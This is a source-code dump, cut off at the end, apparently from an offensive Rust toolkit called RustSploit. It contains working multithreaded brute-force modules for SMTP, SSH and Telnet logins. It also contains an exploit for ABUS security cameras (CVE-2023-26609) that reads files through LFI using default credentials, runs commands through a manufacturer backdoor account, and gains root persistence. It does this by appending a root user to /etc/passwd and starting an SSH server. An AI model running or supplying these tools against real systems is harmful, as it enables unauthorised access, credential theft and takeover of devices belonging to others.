read_lines(&config.username_wordlist)?; 49 | let passwords = read_lines(&config.password_wordlist)?; 50 | if usernames.is_empty() || passwords.is_empty() { 51 | return Err(anyhow::anyhow!("Empty user or pass wordlist.")); 52 | } 53 | let found = Arc::new(Mutex::new(Vec::new())); 54 | let stop_flag = Arc::new(Mutex::new(false)); 55 | let pool = ThreadPool::new(config.threads); 56 | let (tx, rx) = unbounded(); 57 | if config.full_combo { 58 | for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } } 59 | } else if usernames.len() == 1 { 60 | for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; } 61 | } else if passwords.len() == 1 { 62 | for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; } 63 | } else { 64 | for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; } 65 | } 66 | drop(tx); 67 | for _ in 0..config.threads { 68 | let rx = rx.clone(); 69 | let addr = addr.clone(); 70 | let stop_flag = Arc::clone(&stop_flag); 71 | let found = Arc::clone(&found); 72 | let config = config.clone(); 73 | pool.execute(move || { 74 | while let Ok((user, pass)) = rx.recv() { 75 | if *stop_flag.lock().unwrap() { break; } 76 | if config.verbose { println!("[*] {}:{}", user, pass); } 77 | match try_smtp_login(&addr, &user, &pass) { 78 | Ok(true) => { 79 | println!("[+] VALID: {}:{}", user, pass); 80 | let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone())); 81 | if config.stop_on_success { 82 | *stop_flag.lock().unwrap() = true; 83 | while rx.try_recv().is_ok() {} 84 | break; 85 | } 86 | } 87 | Ok(false) => {} 88 | Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); }, 89 | } 90 | } 91 | }); 92 | } 93 | pool.join(); 94 | let found = found.lock().unwrap(); 95 | if found.is_empty() { 96 | println!("[-] No valid credentials."); 97 | } else { 98 | println!("[+] Found:"); 99 | for (u,p) in found.iter() { println!("{}:{}", u, p); } 100 | if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") { 101 | let f = prompt("Filename: "); 102 | save_results(&f, &found)?; 103 | println!("[+] Saved to {}", f); 104 | } 105 | } 106 | Ok(()) 107 | } 108 | 109 | /// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error. 110 | fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result { 111 | use base64::{engine::general_purpose, Engine as _}; 112 | let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?; 113 | let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?; 114 | stream.set_read_timeout(Some(Duration::from_millis(1500))).ok(); 115 | stream.set_write_timeout(Some(Duration::from_millis(1500))).ok(); 116 | let mut telnet = Telnet::from_stream(Box::new(stream), 256); 117 | let mut banner_ok = false; 118 | for _ in 0..3 { 119 | let event = telnet.read().context("Banner read error")?; 120 | if let Event::Data(b) = event { 121 | let s = String::from_utf8_lossy(&b); 122 | if s.starts_with("220") { banner_ok = true; break; } 123 | } 124 | } 125 | if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); } 126 | telnet.write(b"EHLO scanner\r\n")?; 127 | let mut login_ok = false; 128 | let mut plain_ok = false; 129 | let mut ehlo_seen = false; 130 | let mut buf = String::new(); 131 | for _ in 0..6 { 132 | let event = telnet.read()?; 133 | if let Event::Data(b) = event { 134 | let s = String::from_utf8_lossy(&b); 135 | buf.push_str(&s); 136 | if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; } 137 | if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; } 138 | if s.starts_with("250 ") { ehlo_seen = true; break; } 139 | } 140 | } 141 | if !ehlo_seen { return Ok(false); } 142 | // Try AUTH PLAIN 143 | if plain_ok { 144 | let mut blob = vec![0]; 145 | blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes()); 146 | let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob)); 147 | telnet.write(cmd.as_bytes())?; 148 | for _ in 0..2 { 149 | let event = telnet.read()?; 150 | if let Event::Data(b) = event { 151 | let s = String::from_utf8_lossy(&b); 152 | if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); } 153 | if s.starts_with("535") || s.starts_with("5") { break; } 154 | } 155 | } 156 | } 157 | // Try AUTH LOGIN 158 | if login_ok { 159 | telnet.write(b"AUTH LOGIN\r\n")?; 160 | let mut expect_user = false; 161 | for _ in 0..2 { 162 | let event = telnet.read()?; 163 | if let Event::Data(b) = event { 164 | let s = String::from_utf8_lossy(&b); 165 | if s.starts_with("334") { expect_user = true; break; } 166 | } 167 | } 168 | if !expect_user { return Ok(false); } 169 | let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes())); 170 | telnet.write(ucmd.as_bytes())?; 171 | let mut expect_pass = false; 172 | for _ in 0..2 { 173 | let event = telnet.read()?; 174 | if let Event::Data(b) = event { 175 | let s = String::from_utf8_lossy(&b); 176 | if s.starts_with("334") { expect_pass = true; break; } 177 | } 178 | } 179 | if !expect_pass { return Ok(false); } 180 | let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes())); 181 | telnet.write(pcmd.as_bytes())?; 182 | for _ in 0..2 { 183 | let event = telnet.read()?; 184 | if let Event::Data(b) = event { 185 | let s = String::from_utf8_lossy(&b); 186 | if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); } 187 | if s.starts_with("535") || s.starts_with("5") { break; } 188 | } 189 | } 190 | } 191 | Ok(false) 192 | } 193 | 194 | fn read_lines(path: &str) -> Result> { 195 | let file = File::open(path).context(format!("Open: {}", path))?; 196 | Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect()) 197 | } 198 | 199 | fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> { 200 | let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?; 201 | for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; } 202 | Ok(()) 203 | } 204 | 205 | fn prompt(msg: &str) -> String { 206 | print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string() 207 | } 208 | 209 | fn normalize_target(host: &str, port: u16) -> Result { 210 | let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap(); 211 | let t = host.trim(); 212 | let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?; 213 | let addr = cap.get(1).unwrap().as_str(); 214 | let p = cap.get(2).map(|m| m.as_str().parse::().ok()).flatten().unwrap_or(port); 215 | let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) }; 216 | if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) } 217 | } 218 | -------------------------------------------------------------------------------- /src/modules/creds/generic/ssh_bruteforce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use ssh2::Session; 3 | use std::{ 4 | fs::File, 5 | io::{BufRead, BufReader, Write}, 6 | net::TcpStream, 7 | path::{Path, PathBuf}, 8 | sync::Arc, 9 | }; 10 | use tokio::{ 11 | sync::{Mutex, Semaphore}, 12 | task::spawn_blocking, 13 | time::{sleep, Duration}, 14 | }; 15 | 16 | pub async fn run(target: &str) -> Result<()> { 17 | println!("=== SSH Brute Force Module ==="); 18 | println!("[*] Target: {}", target); 19 | 20 | let port: u16 = loop { 21 | let input = prompt_default("SSH Port", "22")?; 22 | match input.parse() { 23 | Ok(p) => break p, 24 | Err(_) => println!("Invalid port. Try again."), 25 | } 26 | }; 27 | 28 | let usernames_file = prompt_required("Username wordlist")?; 29 | let passwords_file = prompt_required("Password wordlist")?; 30 | 31 | let concurrency: usize = loop { 32 | let input = prompt_default("Max concurrent tasks", "10")?; 33 | match input.parse() { 34 | Ok(n) if n > 0 => break n, 35 | _ => println!("Invalid number. Try again."), 36 | } 37 | }; 38 | 39 | let stop_on_success = prompt_yes_no("Stop on first success?", true)?; 40 | let save_results = prompt_yes_no("Save results to file?", true)?; 41 | let save_path = if save_results { 42 | Some(prompt_default("Output file", "ssh_brute_results.txt")?) 43 | } else { 44 | None 45 | }; 46 | let verbose = prompt_yes_no("Verbose mode?", false)?; 47 | let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?; 48 | 49 | let initial_addr = format!("{}:{}", target, port); 50 | let connect_addr = format_host_port(&initial_addr)?; 51 | 52 | let found = Arc::new(Mutex::new(Vec::new())); 53 | let stop = Arc::new(Mutex::new(false)); 54 | 55 | println!("\n[*] Starting brute-force on {}", connect_addr); 56 | 57 | let users = Arc::new(load_lines(&usernames_file)?); 58 | let pass_file = File::open(&passwords_file)?; 59 | let pass_buf = BufReader::new(pass_file); 60 | let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect(); 61 | 62 | let semaphore = Arc::new(Semaphore::new(concurrency)); 63 | let mut tasks = Vec::new(); 64 | let mut user_cycle_idx = 0; 65 | 66 | for pass_str in pass_lines { 67 | if *stop.lock().await { 68 | break; 69 | } 70 | 71 | let users_for_current_pass: Box> = if combo_mode { 72 | Box::new(users.iter().cloned()) 73 | } else { 74 | if users.is_empty() { 75 | Box::new(std::iter::empty()) 76 | } else { 77 | let user = users[user_cycle_idx % users.len()].clone(); 78 | user_cycle_idx += 1; 79 | Box::new(std::iter::once(user)) 80 | } 81 | }; 82 | 83 | for user_str in users_for_current_pass { 84 | if *stop.lock().await { 85 | break; 86 | } 87 | 88 | let permit = Arc::clone(&semaphore).acquire_owned().await?; 89 | 90 | let task_addr = connect_addr.clone(); 91 | let task_user = user_str; 92 | let task_pass = pass_str.clone(); 93 | let found_clone = Arc::clone(&found); 94 | let stop_clone = Arc::clone(&stop); 95 | 96 | let task = tokio::spawn(async move { 97 | let _permit = permit; 98 | 99 | if *stop_clone.lock().await { 100 | return; 101 | } 102 | 103 | match try_ssh_login(&task_addr, &task_user, &task_pass).await { 104 | Ok(true) => { 105 | println!("[+] {} -> {}:{}", task_addr, task_user, task_pass); 106 | found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone())); 107 | if stop_on_success { 108 | *stop_clone.lock().await = true; 109 | } 110 | } 111 | Ok(false) => { 112 | log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass)); 113 | } 114 | Err(e) => { 115 | log(verbose, &format!("[!] {}: error: {}", task_addr, e)); 116 | } 117 | } 118 | sleep(Duration::from_millis(10)).await; 119 | }); 120 | tasks.push(task); 121 | } 122 | } 123 | 124 | for task in tasks { 125 | let _ = task.await; 126 | } 127 | 128 | let creds = found.lock().await; 129 | if creds.is_empty() { 130 | println!("\n[-] No credentials found."); 131 | } else { 132 | println!("\n[+] Valid credentials:"); 133 | for (host, user, pass) in creds.iter() { 134 | println!(" {} -> {}:{}", host, user, pass); 135 | } 136 | 137 | if let Some(path_str) = save_path { 138 | let filename = get_filename_in_current_dir(&path_str); 139 | let mut file = File::create(&filename)?; 140 | for (host, user, pass) in creds.iter() { 141 | writeln!(file, "{} -> {}:{}", host, user, pass)?; 142 | } 143 | println!("[+] Results saved to '{}'", filename.display()); 144 | } 145 | } 146 | 147 | Ok(()) 148 | } 149 | 150 | async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result { 151 | let user_owned = user.to_string(); 152 | let pass_owned = pass.to_string(); 153 | let addr_owned = normalized_addr.to_string(); 154 | 155 | let result = spawn_blocking(move || { 156 | match TcpStream::connect(&addr_owned) { 157 | Ok(tcp) => { 158 | let mut sess = Session::new()?; 159 | sess.set_tcp_stream(tcp); 160 | sess.handshake()?; 161 | match sess.userauth_password(&user_owned, &pass_owned) { 162 | Ok(_) => Ok(sess.authenticated()), 163 | Err(_) => Ok(false), 164 | } 165 | } 166 | Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)), 167 | } 168 | }) 169 | .await??; 170 | 171 | Ok(result) 172 | } 173 | 174 | fn format_host_port(input: &str) -> Result { 175 | if input.starts_with('[') { 176 | if let Some(end_bracket_idx) = input.find("]:") { 177 | let host_part = &input[1..end_bracket_idx]; 178 | if !host_part.contains('[') && !host_part.contains(']') { 179 | if (&input[end_bracket_idx+2..]).parse::().is_ok() { 180 | return Ok(input.to_string()); 181 | } 182 | } 183 | } 184 | } 185 | 186 | let (host_candidate, port_str) = match input.rfind(':') { 187 | Some(idx) if idx > 0 => { // Ensure colon is not the first character 188 | let (h, p) = input.split_at(idx); 189 | (h, &p[1..]) // Strip colon from port part 190 | } 191 | _ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)), 192 | }; 193 | 194 | if port_str.parse::().is_err() { 195 | return Err(anyhow!("Invalid port in address: '{}'", input)); 196 | } 197 | 198 | let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']'); 199 | 200 | if stripped_host.contains(':') { 201 | Ok(format!("[{}]:{}", stripped_host, port_str)) 202 | } else { 203 | Ok(format!("{}:{}", stripped_host, port_str)) 204 | } 205 | } 206 | 207 | fn prompt_required(msg: &str) -> Result { 208 | loop { 209 | print!("{}: ", msg); 210 | std::io::stdout().flush()?; 211 | let mut s = String::new(); 212 | std::io::stdin().read_line(&mut s)?; 213 | let trimmed = s.trim(); 214 | if !trimmed.is_empty() { 215 | return Ok(trimmed.to_string()); 216 | } else { 217 | println!("This field is required."); 218 | } 219 | } 220 | } 221 | 222 | fn prompt_default(msg: &str, default: &str) -> Result { 223 | print!("{} [{}]: ", msg, default); 224 | std::io::stdout().flush()?; 225 | let mut s = String::new(); 226 | std::io::stdin().read_line(&mut s)?; 227 | let trimmed = s.trim(); 228 | Ok(if trimmed.is_empty() { 229 | default.to_string() 230 | } else { 231 | trimmed.to_string() 232 | }) 233 | } 234 | 235 | fn prompt_yes_no(msg: &str, default_yes: bool) -> Result { 236 | let default_char = if default_yes { "y" } else { "n" }; 237 | loop { 238 | print!("{} (y/n) [{}]: ", msg, default_char); 239 | std::io::stdout().flush()?; 240 | let mut s = String::new(); 241 | std::io::stdin().read_line(&mut s)?; 242 | let input = s.trim().to_lowercase(); 243 | if input.is_empty() { 244 | return Ok(default_yes); 245 | } else if input == "y" || input == "yes" { 246 | return Ok(true); 247 | } else if input == "n" || input == "no" { 248 | return Ok(false); 249 | } else { 250 | println!("Invalid input. Please enter 'y' or 'n'."); 251 | } 252 | } 253 | } 254 | 255 | fn load_lines>(path: P) -> Result> { 256 | let file = File::open(path.as_ref()) 257 | .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?; 258 | let reader = BufReader::new(file); 259 | Ok(reader 260 | .lines() 261 | .filter_map(Result::ok) 262 | .filter(|l| !l.trim().is_empty()) 263 | .collect()) 264 | } 265 | 266 | fn log(verbose: bool, msg: &str) { 267 | if verbose { 268 | println!("{}", msg); 269 | } 270 | } 271 | 272 | fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf { 273 | let path_candidate = Path::new(input_path_str) 274 | .file_name() 275 | .map(|os_str| os_str.to_string_lossy()) 276 | .filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..") 277 | .map(|s_cow| s_cow.into_owned()) 278 | .unwrap_or_else(|| "ssh_brute_results.txt".to_string()); 279 | 280 | PathBuf::from(format!("./{}", path_candidate)) 281 | } 282 | -------------------------------------------------------------------------------- /src/modules/creds/generic/telnet_bruteforce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use regex::Regex; 3 | use std::fs::{File, OpenOptions}; 4 | use std::io::{self, BufRead, BufReader, Write}; 5 | use std::net::{TcpStream, ToSocketAddrs}; 6 | use std::sync::{Arc, Mutex}; 7 | use std::time::Duration; 8 | use telnet::Event; 9 | use threadpool::ThreadPool; 10 | use crossbeam_channel::unbounded; 11 | use telnet::Telnet; 12 | 13 | pub async fn run(target: &str) -> Result<()> { 14 | println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n"); 15 | 16 | let target = target.to_string(); 17 | let port = prompt("Port (default 23): ").parse().unwrap_or(23); 18 | let username_wordlist = prompt("Username wordlist file: "); 19 | let password_wordlist = prompt("Password wordlist file: "); 20 | let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8); 21 | let stop_on_success = prompt("Stop on first valid login? (y/n): ") 22 | .trim() 23 | .eq_ignore_ascii_case("y"); 24 | let full_combo = prompt("Try every username with every password? (y/n): ") 25 | .trim() 26 | .eq_ignore_ascii_case("y"); 27 | let verbose = prompt("Verbose mode? (y/n): ") 28 | .trim() 29 | .eq_ignore_ascii_case("y"); 30 | 31 | let config = TelnetBruteforceConfig { 32 | target, 33 | port, 34 | username_wordlist, 35 | password_wordlist, 36 | threads, 37 | stop_on_success, 38 | verbose, 39 | full_combo, 40 | }; 41 | 42 | run_telnet_bruteforce(config) 43 | } 44 | 45 | #[derive(Clone)] 46 | struct TelnetBruteforceConfig { 47 | target: String, 48 | port: u16, 49 | username_wordlist: String, 50 | password_wordlist: String, 51 | threads: usize, 52 | stop_on_success: bool, 53 | verbose: bool, 54 | full_combo: bool, 55 | } 56 | 57 | fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> { 58 | // 1) Normalize & validate host:port 59 | let addr = normalize_target(&config.target, config.port) 60 | .context("Invalid target address")?; 61 | let socket_addr = addr 62 | .to_socket_addrs()? 63 | .next() 64 | .context("Unable to resolve target address")?; 65 | 66 | println!("\n[*] Starting Telnet bruteforce on {}", socket_addr); 67 | 68 | let usernames = read_lines(&config.username_wordlist)?; 69 | let passwords = read_lines(&config.password_wordlist)?; 70 | 71 | let creds = Arc::new(Mutex::new(Vec::new())); 72 | let stop_flag = Arc::new(Mutex::new(false)); 73 | let pool = ThreadPool::new(config.threads); 74 | let (tx, rx) = unbounded(); 75 | 76 | // 2) Build the combo queue 77 | if config.full_combo { 78 | for u in &usernames { 79 | for p in &passwords { 80 | tx.send((u.clone(), p.clone()))?; 81 | } 82 | } 83 | } else if usernames.len() == 1 { 84 | for p in &passwords { 85 | tx.send((usernames[0].clone(), p.clone()))?; 86 | } 87 | } else if passwords.len() == 1 { 88 | for u in &usernames { 89 | tx.send((u.clone(), passwords[0].clone()))?; 90 | } 91 | } else { 92 | println!("[!] Multiple creds & full_combo=OFF → using first username."); 93 | for p in &passwords { 94 | tx.send((usernames[0].clone(), p.clone()))?; 95 | } 96 | } 97 | drop(tx); 98 | 99 | // 3) Spawn workers 100 | for _ in 0..config.threads { 101 | let rx = rx.clone(); 102 | let addr = addr.clone(); 103 | let stop_flag = Arc::clone(&stop_flag); 104 | let creds = Arc::clone(&creds); 105 | let cfg = config.clone(); 106 | 107 | pool.execute(move || { 108 | while let Ok((user, pass)) = rx.recv() { 109 | if *stop_flag.lock().unwrap() { 110 | break; 111 | } 112 | if cfg.verbose { 113 | println!("[*] Trying {}:{}", user, pass); 114 | } 115 | match try_telnet_login(&addr, &user, &pass) { 116 | Ok(true) => { 117 | println!("[+] Valid: {}:{}", user, pass); 118 | creds.lock().unwrap().push((user, pass)); 119 | if cfg.stop_on_success { 120 | *stop_flag.lock().unwrap() = true; 121 | break; 122 | } 123 | } 124 | Ok(false) => {} 125 | Err(e) => { 126 | if cfg.verbose { 127 | eprintln!("[!] Error: {}", e); 128 | } 129 | } 130 | } 131 | } 132 | }); 133 | } 134 | pool.join(); 135 | 136 | // 4) Report & optional save 137 | let found = creds.lock().unwrap(); 138 | if found.is_empty() { 139 | println!("[-] No valid credentials found."); 140 | } else { 141 | println!("\n[+] Found credentials:"); 142 | for (u, p) in found.iter() { 143 | println!(" - {}:{}", u, p); 144 | } 145 | if prompt("\n[?] Save to file? (y/n): ") 146 | .trim() 147 | .eq_ignore_ascii_case("y") 148 | { 149 | let file = prompt("Filename: "); 150 | if let Err(e) = save_results(&file, &found) { 151 | eprintln!("[!] Failed to save: {}", e); 152 | } else { 153 | println!("[+] Results saved to '{}'", file); 154 | } 155 | } 156 | } 157 | 158 | Ok(()) 159 | } 160 | 161 | /// Attempt a single login, with 0.7 s connect+I/O timeout 162 | fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result { 163 | // Resolve to SocketAddr 164 | let socket = addr 165 | .to_socket_addrs()? 166 | .next() 167 | .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?; 168 | 169 | // Connect with 1500 ms timeout 170 | let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)) 171 | .context("Connection timed out")?; 172 | // I/O timeout 173 | stream 174 | .set_read_timeout(Some(Duration::from_millis(1500))) 175 | .context("Failed to set read timeout")?; 176 | stream 177 | .set_write_timeout(Some(Duration::from_millis(1500))) 178 | .context("Failed to set write timeout")?; 179 | 180 | // Wrap into Telnet 181 | let mut connection = Telnet::from_stream(Box::new(stream), 256); 182 | 183 | let mut login_seen = false; 184 | let mut pass_seen = false; 185 | for _ in 0..10 { 186 | let event = connection.read().context("Read error or timeout")?; 187 | if let Event::Data(buffer) = event { 188 | let out = String::from_utf8_lossy(&buffer).to_lowercase(); 189 | if !login_seen && (out.contains("login:") || out.contains("username")) { 190 | connection.write(format!("{}\n", username).as_bytes())?; 191 | login_seen = true; 192 | } else if login_seen && !pass_seen && out.contains("password") { 193 | connection.write(format!("{}\n", password).as_bytes())?; 194 | pass_seen = true; 195 | } else if pass_seen { 196 | if out.contains("incorrect") 197 | || out.contains("failed") 198 | || out.contains("denied") 199 | { 200 | return Ok(false); 201 | } 202 | if out.contains("last login") 203 | || out.contains("$") 204 | || out.contains("#") 205 | || out.contains("welcome") 206 | { 207 | return Ok(true); 208 | } 209 | } 210 | } 211 | } 212 | 213 | Ok(false) 214 | } 215 | 216 | fn read_lines(path: &str) -> Result> { 217 | let f = File::open(path).context(format!("Unable to open {}", path))?; 218 | Ok(BufReader::new(f).lines().filter_map(Result::ok).collect()) 219 | } 220 | 221 | fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> { 222 | let mut f = OpenOptions::new() 223 | .create(true) 224 | .write(true) 225 | .truncate(true) 226 | .open(path)?; 227 | for (u, p) in creds { 228 | writeln!(f, "{}:{}", u, p)?; 229 | } 230 | Ok(()) 231 | } 232 | 233 | fn prompt(msg: &str) -> String { 234 | print!("{}", msg); 235 | io::stdout().flush().unwrap(); 236 | let mut buf = String::new(); 237 | io::stdin().read_line(&mut buf).unwrap(); 238 | buf.trim().to_string() 239 | } 240 | 241 | /// Enhanced IPv4/IPv6/domain normalizer & resolver 242 | fn normalize_target(host: &str, default_port: u16) -> Result { 243 | let re = Regex::new(r"^\[*(?P[^\]]+?)\]*(?::(?P\d{1,5}))?$").unwrap(); 244 | let caps = re 245 | .captures(host.trim()) 246 | .ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?; 247 | let addr = caps.name("addr").unwrap().as_str(); 248 | let port = if let Some(m) = caps.name("port") { 249 | m.as_str().parse::().context("Invalid port value")? 250 | } else { 251 | default_port 252 | }; 253 | let formatted = if addr.contains(':') && !addr.contains('.') { 254 | format!("[{}]:{}", addr, port) 255 | } else { 256 | format!("{}:{}", addr, port) 257 | }; 258 | // Verify DNS/getaddrinfo 259 | formatted 260 | .to_socket_addrs() 261 | .context(format!("Could not resolve {}", formatted))?; 262 | Ok(formatted) 263 | } 264 | -------------------------------------------------------------------------------- /src/modules/creds/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod generic; // <-- lowercase folder name 2 | pub mod camera; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/abussecurity_camera_cve202326609variant1.rs: -------------------------------------------------------------------------------- 1 | // Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access 2 | // CVE: CVE-2023-26609 3 | // Author: d1g@segfault.net | Ported to Rust for RustSploit 4 | // PoC converted 1:1 from Bash to async Rust logic 5 | 6 | // Cargo.toml: 7 | // [dependencies] 8 | // anyhow = "1.0" 9 | // reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] } 10 | // md5 = "0.7.0" 11 | 12 | use anyhow::{Result, anyhow}; 13 | use md5; 14 | use reqwest::Client; 15 | use std::io::{self, Write}; 16 | 17 | /// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone) 18 | fn format_host(raw: &str) -> String { 19 | if raw.contains(':') { 20 | // strip any number of existing brackets, then wrap once 21 | let stripped = raw.trim_matches(|c| c == '[' || c == ']'); 22 | format!("[{}]", stripped) 23 | } else { 24 | raw.to_string() 25 | } 26 | } 27 | 28 | /// Send authenticated LFI request 29 | async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> { 30 | let host = format_host(target); 31 | let url = format!( 32 | "http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}", 33 | host, filepath 34 | ); 35 | println!("[*] Sending LFI request to: {}", url); 36 | 37 | let resp = client.get(&url).send().await?; 38 | println!("[+] Status: {}", resp.status()); 39 | println!("[+] Body:\n{}", resp.text().await?); 40 | Ok(()) 41 | } 42 | 43 | /// Send authenticated RCE request with command injection 44 | async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> { 45 | let host = format_host(target); 46 | let url = format!( 47 | "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}", 48 | host, cmd 49 | ); 50 | println!("[*] Sending RCE request to: {}", url); 51 | 52 | let resp = client.get(&url).send().await?; 53 | println!("[+] Status: {}", resp.status()); 54 | println!("[+] Body:\n{}", resp.text().await?); 55 | Ok(()) 56 | } 57 | 58 | /// Stage 1: Generate SSH key 59 | async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> { 60 | let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"; 61 | println!("[*] Generating SSH key on target..."); 62 | exploit_rce(client, target, cmd).await 63 | } 64 | 65 | /// Stage 2: Inject a root user with an MD5-hashed password 66 | async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> { 67 | // Compute lowercase-hex MD5 of the provided password 68 | let hash = format!("{:x}", md5::compute(password)); 69 | println!("[*] MD5 hash of password: {}", hash); 70 | 71 | // Build the echo command to append to /etc/passwd 72 | let cmd = format!( 73 | "echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd", 74 | hash 75 | ); 76 | println!("[*] Injecting root user into /etc/passwd..."); 77 | exploit_rce(client, target, &cmd).await 78 | } 79 | 80 | /// Stage 3: Start Dropbear SSH server 81 | async fn start_dropbear(client: &Client, target: &str) -> Result<()> { 82 | let cmd = "/etc/dropbear/dropbear%20-E%20-F"; 83 | println!("[*] Starting Dropbear SSH server..."); 84 | exploit_rce(client, target, cmd).await 85 | } 86 | 87 | /// Combined SSH persistence exploit 88 | async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> { 89 | generate_ssh_key(client, target).await?; 90 | inject_root_user(client, target, password).await?; 91 | start_dropbear(client, target).await?; 92 | println!("[+] Persistence complete! You can now SSH in with:"); 93 | println!( 94 | " sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\ 95 | -oHostKeyAlgorithms=+ssh-rsa d1g@{}", 96 | password, target 97 | ); 98 | Ok(()) 99 | } 100 | 101 | /// Prompt user for mode, and dispatch accordingly 102 | async fn execute(target: &str) -> Result<()> { 103 | let client = Client::builder() 104 | .danger_accept_invalid_certs(true) 105 | .build()?; 106 | 107 | println!("[*] Exploit mode selection for target: {}", target); 108 | println!(" [1] LFI"); 109 | println!(" [2] RCE"); 110 | println!(" [3] SSH Persistence"); 111 | print!("> "); 112 | io::stdout().flush()?; 113 | 114 | let mut choice = String::new(); 115 | io::stdin().read_line(&mut choice)?; 116 | match choice.trim() { 117 | "1" => { 118 | print!("Enter file path to read (e.g. /etc/passwd): "); 119 | io::stdout().flush()?; 120 | let mut fp = String::new(); 121 | io::stdin().read_line(&mut fp)?; 122 | exploit_lfi(&client, target, fp.trim()).await?; 123 | } 124 | "2" => { 125 | print!("Enter command to execute (e.g. id): "); 126 | io::stdout().flush()?; 127 | let mut cmd = String::new(); 128 | io::stdin().read_line(&mut cmd)?; 129 | exploit_rce(&client, target, cmd.trim()).await?; 130 | } 131 | "3" => { 132 | // Ask for the desired password, hash it, and persist 133 | print!("Enter desired password for new root user: "); 134 | io::stdout().flush()?; 135 | let mut pwd = String::new(); 136 | io::stdin().read_line(&mut pwd)?; 137 | let pwd = pwd.trim(); 138 | if pwd.is_empty() { 139 | return Err(anyhow!("Password cannot be empty")); 140 | } 141 | persist_root_shell(&client, target, pwd).await?; 142 | } 143 | _ => return Err(anyhow!("Invalid choice")), 144 | } 145 | 146 | Ok(()) 147 | } 148 | 149 | /// Entry point for the RustSploit dispatch system 150 | pub async fn run(target: &str) -> Result<()> { 151 | execute(target).await 152 | } 153 | 154 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/abussecurity_camera_cve202326609variant2.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use reqwest::Client; 3 | use std::io::{self, Write}; 4 | use md5; 5 | 6 | /// Normalize IPv6 targets, collapsing any number of outer brackets 7 | /// and preserving an explicit port if one was given as `[...] : port`. 8 | fn normalize_target(raw: &str) -> String { 9 | // Case: bracketed IPv6 with port, e.g. "[[::1]]:8080" 10 | if raw.contains("]:") { 11 | if let Some(idx) = raw.rfind("]:") { 12 | let addr_raw = &raw[..idx]; 13 | let port = &raw[idx + 2..]; 14 | // strip ALL brackets from the address portion 15 | let addr_inner = addr_raw 16 | .trim_start_matches('[') 17 | .trim_end_matches(']') 18 | .to_string(); 19 | return format!("[{}]:{}", 